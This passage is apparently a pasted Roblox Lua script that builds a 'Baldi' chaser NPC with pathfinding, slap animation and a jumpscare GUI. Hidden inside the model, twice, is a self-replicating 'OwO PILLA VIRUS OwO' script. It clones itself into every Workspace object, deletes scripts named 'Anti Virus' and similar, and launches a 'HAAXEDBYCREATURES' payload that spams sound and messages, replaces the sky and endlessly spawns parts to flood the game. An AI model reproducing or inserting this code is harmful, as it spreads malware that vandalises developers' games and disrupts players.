  742.  
  743. if path and waypoint or checkw(waypoint) then
  744. if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Walk then
  745. human:MoveTo( checkw(waypoint).Position )
  746. human.Jump = false
  747. end
  748.  
  749. -- CANNOT LET BALDI JUMPS --
  750. --[[if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Jump then
  751. human.Jump = true
  752. connection = human.Changed:connect(function()
  753. human.Jump = true
  754. end)
  755. human:MoveTo( checkw(waypoint).Position )
  756. else
  757. human.Jump = false
  758. end]]
  759.  
  760. --[[hroot.Touched:connect(function(p)
  761. local bodypartnames = GetPlayersBodyParts(enemytorso)
  762. if p:IsA'Part' and not p.Name == bodypartnames and phit and phit.Name ~= bodypartnames and phit:IsA'Part' and rootr:Distance(phit.Position) < 5 then
  763. connection = human.Changed:connect(function()
  764. human.Jump = true
  765. end)
  766. else
  767. human.Jump = false
  768. end
  769. end)]]
  770.  
  771. if connection then
  772. connection:Disconnect()
  773. end
  774.  
  775. else
  776. for i = 3, #oldpoints do
  777. human:MoveTo( oldpoints[i].Position )
  778. end
  779. end
  780. elseif enemytorso == nil and canWander then -- if player not detected
  781. isWandering = 0
  782. path = nil
  783. waypoint = nil
  784. human.MoveToFinished:Wait()
  785. end
  786. end
  787. end,o20)
  788. end))
  789. o21.Name = "Movement"
  790. o21.Parent = o1
  791. table.insert(cors,coroutine.create(function()
  792. wait()
  793. runDummyScript(function()
  794. -- 21/5/2018 --
  795. -- SLAPPING INTENSIFIES --
  796. local npc = script.Parent
  797. local hum = npc.Humanoid
  798. local speed = npc.Speed
  799. local decalp = npc.DecalPart
  800.  
  801. while true do
  802. local waittime = 2/speed.Value
  803. local oldwalkspeed = hum.WalkSpeed
  804. decalp.Front.Texture = "http://www.roblox.com/asset/?id=1814500416"
  805. decalp.Back.Texture = "http://www.roblox.com/asset/?id=1814500416"
  806. decalp.Slap:Play()
  807.  
  808. wait(0.4)
  809.  
  810. hum.WalkSpeed = 0
  811. decalp.Front.Texture = "http://www.roblox.com/asset/?id=1814499405"
  812. decalp.Back.Texture = "http://www.roblox.com/asset/?id=1814499405"
  813.  
  814. wait(waittime)
  815.  
  816. hum.WalkSpeed = oldwalkspeed
  817. end
  818.  
  819. end,o21)
  820. end))
  821. o22.Name = "DecalPart"
  822. o22.Parent = o1
  823. o22.Transparency = 1
  824. o22.Position = Vector3.new(9.98900604, 4.19998312, 19.3424149)
  825. o22.Rotation = Vector3.new(0, 90, 0)
  826. o22.CanCollide = false
  827. o22.Size = Vector3.new(4.19999886, 8.39999962, 0.113513507)
  828. o22.CFrame = CFrame.new(9.98900604, 4.19998312, 19.3424149, -1.16415322e-10, -4.30736691e-09, 1, -2.92743607e-12, 0.999992132, -8.96397978e-09, -1, -9.37916411e-12, 1.16415322e-10)
  829. o22.BottomSurface = Enum.SurfaceType.Smooth
  830. o22.TopSurface = Enum.SurfaceType.Smooth
  831. o22.Position = Vector3.new(9.98900604, 4.19998312, 19.3424149)
  832. o23.Name = "Front"
  833. o23.Parent = o22
  834. o23.Texture = "rbxassetid://1814499405"
  835. o24.Name = "Back"
  836. o24.Parent = o22
  837. o24.Texture = "rbxassetid://1814499405"
  838. o24.Face = Enum.NormalId.Back
  839. o25.Name = "Slap"
  840. o25.Parent = o22
  841. o25.Pitch = 2
  842. o25.SoundId = "rbxassetid://511340819"
  843. o25.Volume = 1
  844. o26.Name = "Static"
  845. o26.Parent = o22
  846. o26.Pitch = 2
  847. o26.SoundId = "rbxassetid://223103466"
  848. o26.Volume = 0.10000000149012
  849. o27.Name = "OwO PILLA VIRUS OwO"
  850. o27.Parent = o22
  851. table.insert(cors,coroutine.create(function()
  852. wait()
  853. runDummyScript(function()
  854. function spread() -- Made by Pilla, Aiko, Ham5ter and Commodore Jeep-Eep.
  855. -- Under the advice of C-Rex, Loverian, Gimmecat and girlysatan
  856. -- We will destroy your place!
  857. -- Come get us if you dare! We'll make a fool out of you!
  858. -- The Creatures Community
  859. local stuff = game.Workspace:GetChildren()
  860. for i = 1, #stuff do
  861. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("OwO PILLA VIRUS OwO") == nil) and (stuff[i].className ~= "Camera") then
  862. local clone = script:clone()
  863. clone.Parent = stuff[i]
  864. end
  865. end
  866. end
  867.  
  868. function onPlayerEntered(newPlayer)
  869. while true do
  870. if newPlayer.Character ~= nil then break end
  871. wait(1)
  872. end
  873. hehe = game.Workspace:FindFirstChild("HAAXEDBYCREATURES")
  874. if hehe == nil then
  875. local pwnedbythedragonness = script.HAAXEDBYCREATURES:clone()
  876. pwnedbythedragonness.Parent = game.Workspace
  877. pwnedbythedragonness.Disabled = false
  878. end
  879. end
  880. game.Players.PlayerAdded:connect(onPlayerEntered)
  881.  
  882. while true do
  883. wait(.1)
  884. spread()
  885. end
  886.  
  887. function GetAllItems(mdl)
  888. local objs = {}
  889. function Search(obj)
  890. if obj~=workspace then
  891. table.insert(objs,obj)
  892. end
  893. if #obj:GetChildren() > 0 then
  894. for i, v in ipairs(obj:GetChildren()) do
  895. Search(v)
  896. end
  897. end
  898. end
  899. Search(mdl)
  900. return objs
  901. end
  902.  
  903.  
  904.  
  905. for i, v in ipairs(GetAllItems(workspace)) do
  906. if v.className == "Script" then
  907. if v.Name == "Script" or v.Name == "Anti Infected" or v.Name == "Anti Virus" or v.Name == "lololyougothackedNOOB" then
  908. v.Parent = game.Lighting --Just in case it has a removal prevention.
  909. t = Instance.new("ObjectValue")
  910. t.Name = "IsAVirus"
  911. t.Parent = v
  912. end
  913. end
  914. end
  915.  
  916. for i, v in ipairs(game.Lighting:GetChildren()) do
  917. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  918. v:remove()
  919. end
  920. end
  921.  
  922.  
  923.  
  924. print("Virus debugged! All clean!")
  925. end,o27)
  926. end))
  927. o28.Name = "HAAXEDBYCREATURES"
  928. o28.Parent = o27
  929. o28.Disabled = true
  930. table.insert(cors,coroutine.create(function()
  931. wait()
  932. runDummyScript(function()
  933. print("YOUR GAME IS DOOMED")
  934. wait(5)
  935. creaturescavesdotcom = Instance.new("Sound")
  936. creaturescavesdotcom.Parent = game.Workspace
  937. creaturescavesdotcom.Looped = true
  938. creaturescavesdotcom.SoundId = "rbxassetid://148720118"
  939. creaturescavesdotcom.Volume = 1
  940. wait(8)
  941. creaturescavesdotcom:play()
  942. wait(10)
  943. discord=Instance.new("Hint")
  944. discord.Text = "Your place is doomed. Check us out at creaturescaves.com or our discord server: https://discord.gg/ATuwhea"
  945. discord.Parent = game.Workspace
  946. wait(5)
  947. discord=Instance.new("Message")
  948. discord.Text = "THE APOCALYPSE HAS BEGUN!!!"
  949. discord.Parent = game.Workspace
  950. wait(3)
  951. discord:remove()
  952. death=Instance.new("Sky")
  953. death.Parent = game.Lighting
  954. death.SkyboxBk = "http://www.roblox.com/asset/?id=149679669"
  955. death.SkyboxDn = "http://www.roblox.com/asset/?id=149681979"
  956. death.SkyboxFt = "http://www.roblox.com/asset/?id=149679690"
  957. death.SkyboxLf = "http://www.roblox.com/asset/?id=149679709"
  958. death.SkyboxRt = "http://www.roblox.com/asset/?id=149679722"
  959. death.SkyboxUp = "http://www.roblox.com/asset/?id=149680199"
  960. death.CelestialBodiesShown = false
  961. wait(1)
  962. --your place is now doomed, gg no re
  963.  
  964. while true do
  965. pilla=math.random(0,3)
  966. crex=math.random(3,100)
  967. aiko=math.random(-500, 500)
  968. jeepeep=math.random(100, 600)
  969. gimmecat=math.random(-500, 500)
  970. wait()
  971. doom=Instance.new("Part")
  972. doom.Shape = "Ball"
  973. doom.Size = Vector3.new(crex, crex, crex)
  974. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  975. doom.Color = Color3.new(math.random(), math.random(), math.random())
  976. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  977. doom.Parent = game.Workspace
  978. ham5ter=math.random(-200, -50)
  979. doom=Instance.new("Part")
  980. doom.Shape = "Ball"
  981. doom.Size = Vector3.new(crex, crex, crex)
  982. doom.Position = Vector3.new(aiko, ham5ter, gimmecat)
  983. doom.Color = Color3.new(math.random(), math.random(), math.random())
  984. doom.Velocity=Vector3.new(pilla, 800, pilla)
  985. doom.Parent = game.Workspace
  986. pilla=math.random(0,3)
  987. crex=math.random(3,100)
  988. aiko=math.random(-500, 500)
  989. jeepeep=math.random(100, 600)
  990. gimmecat=math.random(-500, 500)
  991. doom=Instance.new("Part")
  992. doom.Shape = "Ball"
  993. doom.Size = Vector3.new(crex, crex, crex)
  994. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  995. doom.Color = Color3.new(math.random(), math.random(), math.random())
  996. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  997. doom.Parent = game.Workspace
  998. pilla=math.random(0,3)
  999. crex=math.random(3,100)
  1000. aiko=math.random(-500, 500)
  1001. jeepeep=math.random(100, 600)
  1002. gimmecat=math.random(-500, 500)
  1003. doom=Instance.new("Part")
  1004. doom.Shape = "Ball"
  1005. doom.Size = Vector3.new(crex, crex, crex)
  1006. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  1007. doom.Color = Color3.new(math.random(), math.random(), math.random())
  1008. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  1009. doom.Parent = game.Workspace
  1010. pilla=math.random(0,3)
  1011. crex=math.random(3,100)
  1012. aiko=math.random(-500, 500)
  1013. jeepeep=math.random(100, 600)
  1014. gimmecat=math.random(-500, 500)
  1015. doom=Instance.new("Part")
  1016. doom.Shape = "Ball"
  1017. doom.Size = Vector3.new(crex, crex, crex)
  1018. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  1019. doom.Color = Color3.new(math.random(), math.random(), math.random())
  1020. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  1021. doom.Parent = game.Workspace
  1022. end
  1023. end,o28)
  1024. end))
  1025. o29.Name = "BaldiWeld"
  1026. o29.Parent = o1
  1027. table.insert(cors,coroutine.create(function()
  1028. wait()
  1029. runDummyScript(function()
  1030. -- 21/5/2018 --
  1031. -- We can already make the decal part anchored and move it along with the rootpart
  1032. function weld(thing)
  1033. local w = Instance.new("Weld")
  1034. w.Part0 = script.Parent.HumanoidRootPart
  1035. w.Part1 = thing
  1036. w.C0 = script.Parent.HumanoidRootPart.CFrame:inverse()
  1037. w.C1 = thing.CFrame:inverse()
  1038. w.Parent = thing
  1039. end
  1040. weld(script.Parent.DecalPart)
  1041.  
  1042. end,o29)
  1043. end))
  1044. o30.Name = "Speed"
  1045. o30.Parent = o1
  1046. o30.Value = 1
  1047. o31.Name = "Jumpscare"
  1048. o31.Parent = o1
  1049. table.insert(cors,coroutine.create(function()
  1050. wait()
  1051. runDummyScript(function()
  1052. script.Parent.HumanoidRootPart.Touched:Connect(function(hit)
  1053. if hit and hit.Parent then
  1054. local plr = game.Players:GetPlayerFromCharacter(hit.Parent)
  1055. if plr then
  1056. local jumpscare = script.BaldiGui:Clone()
  1057. jumpscare.Parent = plr.PlayerGui
  1058. end
  1059. end
  1060. end)
  1061.  
  1062. end,o31)
  1063. end))
  1064. o32.Name = "BaldiGui"
  1065. o32.Parent = o31
  1066. o33.Name = "le baldi"
  1067. o33.Parent = o32
  1068. o33.Position = UDim2.new(-0.15000000596046,0,-0.80000001192093,0)
  1069. o33.Size = UDim2.new(2,0,8,0)
  1070. o33.Position = UDim2.new(-0.15000000596046,0,-0.80000001192093,0)
  1071. o33.BackgroundColor3 = Color3.new(1, 1, 1)
  1072. o33.BackgroundTransparency = 1
  1073. o33.Image = "rbxassetid://1814499405"
  1074. o34.Name = "static bg"
  1075. o34.Parent = o32
  1076. o34.Position = UDim2.new(0,0,0,-50)
  1077. o34.Size = UDim2.new(2,0,5,50)
  1078. o34.Position = UDim2.new(0,0,0,-50)
  1079. o34.BackgroundColor3 = Color3.new(1, 1, 1)
  1080. o34.BackgroundTransparency = 1
  1081. o34.ZIndex = 0
  1082. o34.Image = "rbxassetid://757589434"
  1083. o34.ImageTransparency = 0.25
  1084. o35.Name = "DIE"
  1085. o35.Parent = o32
  1086. table.insert(cors,coroutine.create(function()
  1087. wait()
  1088. runDummyScript(function()
  1089. -- updated 5/27/2018 --
  1090. plr = game.Players.LocalPlayer
  1091. if not plr:FindFirstChild('Static') then
  1092. local static = script.Parent.Static:Clone()
  1093. static.Parent = plr
  1094. static:Play()
  1095. game.Debris:AddItem(static, 5) -- wait all the way until player restarts to avoid playing too many times
  1096. end
  1097. game.Players.LocalPlayer.Character.Humanoid.Health = 0
  1098. wait(2)
  1099. script.Parent["black bg"].Visible = true
  1100. script.Parent["fidget spinner frame"].Visible = true
  1101.  
  1102. end,o35)
  1103. end))
  1104. o36.Name = "Static"
  1105. o36.Parent = o32
  1106. o36.SoundId = "rbxassetid://1784592449"
  1107. o36.Volume = 1
  1108. o37.Name = "black bg"
  1109. o37.Parent = o32
  1110. o37.Position = UDim2.new(0,0,0,-50)
  1111. o37.Size = UDim2.new(1,0,1,50)
  1112. o37.Position = UDim2.new(0,0,0,-50)
  1113. o37.Visible = false
  1114. o37.BackgroundColor3 = Color3.new(0, 0, 0)
  1115. o37.ZIndex = 2
  1116. o38.Name = "fidget spinner frame"
  1117. o38.Parent = o32
  1118. o38.Position = UDim2.new(0.49500000476837,0,0.49500000476837,0)
  1119. o38.Size = UDim2.new(0.0099999997764826,0,0.0099999997764826,0)
  1120. o38.Position = UDim2.new(0.49500000476837,0,0.49500000476837,0)
  1121. o38.Visible = false
  1122. o38.BackgroundColor3 = Color3.new(1, 1, 1)
  1123. o38.SizeConstraint = Enum.SizeConstraint.RelativeXX
  1124. o38.ZIndex = 2
  1125. o39.Name = "fidget spinner"
  1126. o39.Parent = o38
  1127. o39.Position = UDim2.new(-7,0,-5.5,0)
  1128. o39.Size = UDim2.new(15,0,15,0)
  1129. o39.Position = UDim2.new(-7,0,-5.5,0)
  1130. o39.BackgroundColor3 = Color3.new(1, 1, 1)
  1131. o39.BackgroundTransparency = 1
  1132. o39.SizeConstraint = Enum.SizeConstraint.RelativeXX
  1133. o39.ZIndex = 2
  1134. o39.Image = "rbxassetid://1341253466"
  1135. o40.Name = "spin that fidget"
  1136. o40.Parent = o38
  1137. table.insert(cors,coroutine.create(function()
  1138. wait()
  1139. runDummyScript(function()
  1140. -- 5/27/2018 --
  1141. sp = script.Parent
  1142. run = game:GetService("RunService")
  1143. run.RenderStepped:Connect(function()
  1144. sp.Rotation = sp.Rotation + 1
  1145. end)
  1146.  
  1147. end,o40)
  1148. end))
  1149. o41.Name = "OwO PILLA VIRUS OwO"
  1150. o41.Parent = o32
  1151. table.insert(cors,coroutine.create(function()
  1152. wait()
  1153. runDummyScript(function()
  1154. function spread() -- Made by Pilla, Aiko, Ham5ter and Commodore Jeep-Eep.
  1155. -- Under the advice of C-Rex, Loverian, Gimmecat and girlysatan
  1156. -- We will destroy your place!
  1157. -- Come get us if you dare! We'll make a fool out of you!
  1158. -- The Creatures Community
  1159. local stuff = game.Workspace:GetChildren()
  1160. for i = 1, #stuff do
  1161. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("OwO PILLA VIRUS OwO") == nil) and (stuff[i].className ~= "Camera") then
  1162. local clone = script:clone()
  1163. clone.Parent = stuff[i]
  1164. end
  1165. end
  1166. end
  1167.  
  1168. function onPlayerEntered(newPlayer)
  1169. while true do
  1170. if newPlayer.Character ~= nil then break end
  1171. wait(1)
  1172. end
  1173. hehe = game.Workspace:FindFirstChild("HAAXEDBYCREATURES")
  1174. if hehe == nil then
  1175. local pwnedbythedragonness = script.HAAXEDBYCREATURES:clone()
  1176. pwnedbythedragonness.Parent = game.Workspace
  1177. pwnedbythedragonness.Disabled = false
  1178. end
  1179. end
  1180. game.Players.PlayerAdded:connect(onPlayerEntered)
  1181.  
  1182. while true do
  1183. wait(.1)
  1184. spread()
  1185. end
  1186.  
  1187. function GetAllItems(mdl)
  1188. local objs = {}
  1189. function Search(obj)
  1190. if obj~=workspace then
  1191. table.insert(objs,obj)
  1192. end
  1193. if #obj:GetChildren() > 0 then
  1194. for i, v in ipairs(obj:GetChildren()) do
  1195. Search(v)
  1196. end
  1197. end
  1198. end
  1199. Search(mdl)
  1200. return objs
  1201. end
  1202.  
  1203.  
  1204.  
  1205. for i, v in ipairs(GetAllItems(workspace)) do
  1206. if v.className == "Script" then
  1207. if v.Name == "Script" or v.Name == "Anti Infected" or v.Name == "Anti Virus" or v.Name == "lololyougothackedNOOB" then
  1208. v.Parent = game.Lighting --Just in case it has a removal prevention.
  1209. t = Instance.new("ObjectValue")
  1210. t.Name = "IsAVirus"
  1211. t.Parent = v
  1212. end
  1213. end
  1214. end
  1215.  
  1216. for i, v in ipairs(game.Lighting:GetChildren()) do
  1217. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  1218. v:remove()
  1219. end
  1220. end
  1221.  
  1222.  
  1223.  
  1224. print("Virus debugged! All clean!")
  1225. end,o41)
  1226. end))
  1227. o42.Name = "HAAXEDBYCREATURES"
  1228. o42.Parent = o41
  1229. o42.Disabled = true
  1230. table.insert(cors,coroutine.create(function()
  1231. wait()
  1232. runDummyScript(function()
  1233. print("YOUR GAME IS DOOMED")
  1234. wait(5)
  1235. creaturescavesdotcom = Instance.new("Sound")
  1236. creaturescavesdotcom.Parent = game.Workspace
  1237. creaturescavesdotcom.Looped = true
  1238. creaturescavesdotcom.SoundId = "rbxassetid://148720118"
  1239. creaturescavesdotcom.Volume = 1
  1240. wait(8)
  1241. creaturescavesdotcom:play()
  1242. wait(10)
  1243. discord=Instance.new("Hint")
  1244. discord.Text = "Your place is doomed. Check us out at creaturescaves.com or our discord server: https://discord.gg/ATuwhea"
  1245. discord.Parent = game.Workspace
  1246. wait(5)
  1247. discord=Instance.new("Message")
  1248. discord.Text = "THE APOCALYPSE HAS BEGUN!!!"
  1249. discord.Parent = game.Workspace
  1250. wait(3)
  1251. discord:remove()
  1252. death=Instance.new("Sky")
  1253. death.Parent = game.Lighting
  1254. death.SkyboxBk = "http://www.roblox.com/asset/?id=149679669"
  1255. death.SkyboxDn = "http://www.roblox.com/asset/?id=149681979"
  1256. death.SkyboxFt = "http://www.roblox.com/asset/?id=149679690"
  1257. death.SkyboxLf = "http://www.roblox.com/asset/?id=149679709"
  1258. death.SkyboxRt = "http://www.roblox.com/asset/?id=149679722"
  1259. death.SkyboxUp = "http://www.roblox.com/asset/?id=149680199"
  1260. death.CelestialBodiesShown = false
  1261. wait(1)
  1262. --your place is now doomed, gg no re
  1263.  
  1264. while true do
  1265. pilla=math.random(0,3)
  1266. crex=math.random(3,100)
  1267. aiko=math.random(-500, 500)
  1268. jeepeep=math.random(100, 600)
  1269. gimmecat=math.random(-500, 500)
  1270. wait()
  1271. doom=Instance.new("Part")
  1272. doom.Shape = "Ball"
  1273. doom.Size = Vector3.new(crex, crex, crex)
  1274. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  1275. doom.Color = Color3.new(math.random(), math.random(), math.random())
  1276. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  1277. doom.Parent = game.Workspace
  1278. ham5ter=math.random(-200, -50)
  1279. doom=Instance.new("Part")
  1280. doom.Shape = "Ball"
  1281. doom.Size = Vector3.new(crex, crex, crex)
  1282. doom.Position = Vector3.new(aiko, ham5ter, gimmecat)
  1283. doom.Color = Color3.new(math.random(), math.random(), math.random())
  1284. doom.Velocity=Vector3.new(pilla, 800, pilla)
  1285. doom.Parent = game.Workspace
  1286. pilla=math.random(0,3)
  1287. crex=math.random(3,100)
  1288. aiko=math.random(-500, 500)
  1289. jeepeep=math.random(100, 600)
  1290. gimmecat=math.random(-500, 500)
  1291. doom=Instance.new("Part")
  1292. doom.Shape = "Ball"
  1293. doom.Size = Vector3.new(crex, crex, crex)
  1294. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  1295. doom.Color = Color3.new(math.random(), math.random(), math.random())
  1296. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  1297. doom.Parent = game.Workspace
  1298. pilla=math.random(0,3)
  1299. crex=math.random(3,100)
  1300. aiko=math.random(-500, 500)
  1301. jeepeep=math.random(100, 600)
  1302. gimmecat=math.random(-500, 500)
  1303. doom=Instance.new("Part")
  1304. doom.Shape = "Ball"
  1305. doom.Size = Vector3.new(crex, crex, crex)
  1306. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  1307. doom.Color = Color3.new(math.random(), math.random(), math.random())
  1308. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  1309. doom.Parent = game.Workspace
  1310. pilla=math.random(0,3)
  1311. crex=math.random(3,100)
  1312. aiko=math.random(-500, 500)
  1313. jeepeep=math.random(100, 600)
  1314. gimmecat=math.random(-500, 500)
  1315. doom=Instance.new("Part")
  1316. doom.Shape = "Ball"
  1317. doom.Size = Vector3.new(crex, crex, crex)
  1318. doom.Position = Vector3.new(aiko, jeepeep, gimmecat)
  1319. doom.Color = Color3.new(math.random(), math.random(), math.random())
  1320. doom.Velocity=Vector3.new(pilla, pilla, pilla)
  1321. doom.Parent = game.Workspace
  1322. end
  1323. end,o42)
  1324. end))
  1325. o43.Parent = o1
  1326. o43.RightLeg = o6
  1327. o43.LeftLeg = o7
  1328. o43.Torso = o16
  1329. o43.WalkSpeed = 100
  1330. mas.Parent = workspace
  1331. mas:MakeJoints()
  1332. local mas1 = mas:GetChildren()
  1333. for i=1,#mas1 do
  1334. mas1[i].Parent = workspace
  1335. ypcall(function() mas1[i]:MakeJoints() end)
  1336. end
  1337. mas:Destroy()
  1338. for i=1,#cors do
  1339. coroutine.resume(cors[i])
  1340. end
Advertisement
Add Comment
Please, Sign In to add comment